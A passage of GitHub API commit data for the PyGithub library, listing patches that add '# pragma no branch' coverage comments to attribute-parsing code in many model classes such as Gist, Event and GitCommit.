]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","filename":"src/github/CommitFile.py","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","filename":"src/github/CommitStats.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":40,"deletions":20,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","filename":"src/github/Download.py","patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":20,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":16,"deletions":8,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","filename":"src/github/Event.py","patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]","additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":30,"deletions":15,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","filename":"src/github/Gist.py","patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":15,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","filename":"src/github/GistComment.py","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","filename":"src/github/GistHistoryState.py","patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","filename":"src/github/GitAuthor.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","filename":"src/github/GitBlob.py","patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","filename":"src/github/GitCommit.py","patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","filename":"src/github/GitObject.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","filename":"src/github/GitRef.py","patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","filename":"src/github/GitTag.py","patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and 